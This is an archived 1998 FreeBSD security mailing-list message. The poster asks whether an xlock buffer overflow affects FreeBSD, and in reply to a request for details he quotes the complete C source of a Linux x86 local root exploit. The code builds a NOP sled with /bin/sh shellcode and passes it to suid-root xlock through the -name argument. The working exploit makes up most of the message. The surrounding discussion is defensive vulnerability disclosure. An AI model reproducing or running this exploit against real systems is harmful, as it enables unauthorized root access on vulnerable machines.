Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 29 Jun 1998 10:17:18 +0200
From:      Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE>
To:        Thomas Gellekum <tg@ihf.rwth-aachen.de>
Cc:        Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE>, freebsd-security@FreeBSD.ORG
Subject:   Re: xlock
Message-ID:  <19980629101718.52752@gil.physik.rwth-aachen.de>
In-Reply-To: <8790mgy8b8.fsf@ghpc6.ihf.rwth-aachen.de>; from Thomas Gellekum on Mon, Jun 29, 1998 at 09:29:47AM %2B0200
References:  <199806290632.IAA00836@gilberto.physik.RWTH-Aachen.DE> <87btrcy9s5.fsf@ghpc6.ihf.rwth-aachen.de> <19980629092005.33214@gil.physik.rwth-aachen.de> <8790mgy8b8.fsf@ghpc6.ihf.rwth-aachen.de>

next in thread | previous in thread | raw e-mail | index | archive | help
On Mon, Jun 29, 1998 at 09:29:47AM +0200, Thomas Gellekum wrote:
> Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE> writes:
> 
> > On Mon, Jun 29, 1998 at 08:58:02AM +0200, Thomas Gellekum wrote:
> > > Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE> writes:
> > > 
> > > > Alarmed by recent buffer overflow attacks on Linux machines in
> > > > my vicinity (an exploit for this is available) I thought about
> > > > xlock under FreeBSD and would like to know whether the
> > > > security hole has been sorted out under FreeBSD 2.2.x or what
> > > > measures are advised to prevent it.
> > > 
> > > Could you tell more about this?
> > 
> >  /* x86 XLOCK overflow exploit
> >       by cesaro@0wned.org 4/17/97
> > 
> >       Original exploit framework - lpr exploit
> > 
> >       Usage: make xlock-exploit
> >              xlock-exploit  <optional_offset>
> > 
> >       Assumptions: xlock is suid root, and installed in /usr/X11/bin
> >   */
> > 
> > [complete xploit can be sent on demand]

OK, here goes: (This is for Linux 2.x, xlock path and code on stack
                may vary for FreeBSD if applicable).

--8<----------------------------------------------------------------------
/*   x86 XLOCK overflow exploit
     by cesaro@0wned.org 4/17/97

     Original exploit framework - lpr exploit

     Usage: make xlock-exploit
            xlock-exploit  <optional_offset>

     Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             996

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

int main(int argc, char *argv[])
{
   char *buff = NULL;

   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int dfltOFFSET = DEFAULT_OFFSET;

   u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                          "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                          "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                          "\xd7\xff\xff\xff/bin/sh";
  int i;

   if (argc > 1)
      dfltOFFSET = atoi(argv[1]);
   else printf("You can specify another offset as a parameter if you 
need...\n");

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + dfltOFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}
--8<----------------------------------------------------------------------

> 
> Please do. Desmond Bagley, the maintainer of xlockmore mentioned a
> security hole in Mesa with suid binaries. I don't know if it's the
> same problem.
> 
> tg

-- 
Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe security" in the body of the message



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19980629101718.52752>